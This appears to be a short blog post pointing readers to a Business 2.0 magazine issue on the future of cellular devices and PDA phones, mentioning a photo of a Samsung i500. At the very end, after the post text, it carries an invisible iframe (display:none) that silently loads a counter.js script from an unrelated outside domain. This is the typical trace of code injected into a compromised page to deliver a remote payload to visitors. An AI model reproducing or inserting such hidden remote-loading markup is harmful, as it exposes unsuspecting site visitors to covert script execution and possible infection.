If you haven't seen the current Business 2.0, the cover headline is, "The Next Big Thing - Forget Wi-Fi, the next big revolultion in wireless is cellular, and the opportunity is now.". Within this issue there are a number of articles that look at the current and future state of the cellular industry, including speculation on what the future devices will look like. They talk a bit about the pdaPhone's role in this revolution, and even dedicate an article, "In Search of the Perfect Gizmo", to the subject. They have a really good picture of a Samsung i500 with a clear skin.
You can read the first few paragraphs at
Business 2.0, but you'll have get the hard copy version to read the whole articles.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>